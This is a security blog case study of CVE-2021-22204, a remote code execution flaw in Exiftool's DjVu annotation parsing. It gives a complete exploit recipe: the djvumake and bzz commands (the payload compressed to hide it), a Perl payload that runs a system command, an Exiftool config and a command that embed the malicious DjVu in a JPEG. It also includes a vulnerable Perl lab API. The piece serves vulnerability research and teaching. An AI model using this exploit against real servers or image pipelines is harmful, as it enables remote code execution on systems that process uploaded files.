Code Fighters

A case study on: CVE-2021-22204 – Exiftool RCE

Recently, the researcher wcbowling[1] found a vulnerability in the Exiftool tool, that enabled a malicious actor to perform a Remote code Execution attack. This vulnerability was found in the Gitlab bug bounty program[10], where they use this tool as dependency for their product.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. We choose this CVE to our study because it was found in a high impact program, and by the date that we began the process there was no public exploit available.

This article was made to show our study process of the CVE to make a reliable exploit for it. The author recently wrote a detailed write-up about the process and you can find this material in the reference links [11].

We would also like to thank @gustavorobertux for the help he gave us that has contributed to make this exploit possible. His article about the exploit can also be found listed in the References [12].

The vulnerability

We have a strong hint of where to begin looking for the problem, when we read the CVE description:

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image."[3]

The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.To analyse it, let’s first checked the fix patch in the Exiftool project on Github[5]:

Then download the vulnerable version 12.23, and could see in the source code the vulnerable function:

Path: exiftool/lib/Image/ExifTool/DjVu.pmIt’s possible to see that the vulnerable version does a verification on line 31 that is responsible to remove the attributes that uses $ (Perl variables) or @ (Perl arrays), to have some security sanitization. This is done because this content is then use in a eval [9] function in line 34, that executes the content as code.

The Exploit

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code. To create this valid DjVu file, we used the tool djvumake , from the djvulibre[6] toolkit. A toolkit for DjVu file manipulation.We will also use the tool bzz to compress our payload, then it will not be easily visible in the DjVu file. (in case someone try to inspect it)

$ sudo apt install djvulibre-bin 
# Installs the required tools 

$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable

$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

And this is the content of our payload file:

(metadata "\c${system('id')};")

Then, when the victim opens the file exploit.djvu with a vulnerable version of Exiftool our embedded Perl code will execute the command id .

Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file, and we knew that was possible by looking for other proof o concepts made by other researchers on Twitter. [7]As we understand more about Exiftool, we realized that we could use itself to explore the JPEG creation. To make this possible, we first need to create a configuration file to be passed to Exiftool. We will name it configfile and it will have the following content:

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        # add more user-defined EXIF tags here...
1; #end%

What this file does is make possible that we write a new tag on the file, with the name HasselbladExif and the bytes 0xc51b to identify it inside our new file. Then we can insert it inside of any file. [8]Then use it and our already made exploit.djvu to insert the malicious DjVu file inside a valid JPEG:

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

# configfile = The name of our configuration file;
# -HasselbladExif = Tag name that are specified in the config file;
# exploit.djvu = Our exploit, previously made with djvumake;
# hacker.jpg = A valid JPEG file;

Now we have a valid JPEG file that executes our code when a victim opens it with a vulnerable version of Exiftool.


This study was extremely important for us, because there are business models made with the scenario that an application will use file metadata for something, and most of it uses Exiftool as default engine.To illustrate an application that uses Exiftool in the back-end, we made a little API that takes an file as input and tries to extract some metadata, after that shows it as JSON.

#!/usr/bin/env perl

use strict;
use warnings;
use Mojo::URL;
use Mojo::File;
use Mojo::UserAgent;
use UUID::Tiny ":std";
use Mojolicious::Lite -signatures;
use Image::ExifTool qw(:Public);

get "/" => sub ($request) {
    my $endpoint = $request -> param("endpoint");

    if (($endpoint) && (length($endpoint) <= 100)) { 
        my $url = Mojo::URL -> new($endpoint);

        if ($url -> scheme()) {
            my $userAgent  = Mojo::UserAgent -> new();
            my $getContent = $userAgent -> get($endpoint) -> result();

            if ($getContent -> is_success()) {
                my $file = $getContent -> body();
                my $generate = create_uuid_as_string(UUID_V4);
                my $path = Mojo::File -> new("files/$generate");
                $path = $path -> spurt($file);

                my $exifTool     = Image::ExifTool -> new();
                my $informations = $exifTool -> ImageInfo("files/$generate");

                if ($informations) {
                    return ($request -> render ( 
                        json => [{ 
                                date => $informations -> {FileModifyDate};,
                                mime => $informations -> {MIMEType},
                                type => $informations -> {FileType}
    return ($request -> render (
        text => "<script>window.location='/?endpoint='</script>"

app -> start();

In the date that this article was written, the official Exiftool lib on CPAN (Image::ExifTool) was still vulnerable. With this, this API could be exploited when reading the image on the parameter endpoint :

If you want to try it out, you can access the lab source code and a python script that automates the exploit creation in our repository:

Subscribe to receive relevant AppSec content selected by our experts


About author


Information Security Analyst who loves digging into code and low level stuff, works primarily with vulnerability research at Conviso.

Deixe um comentário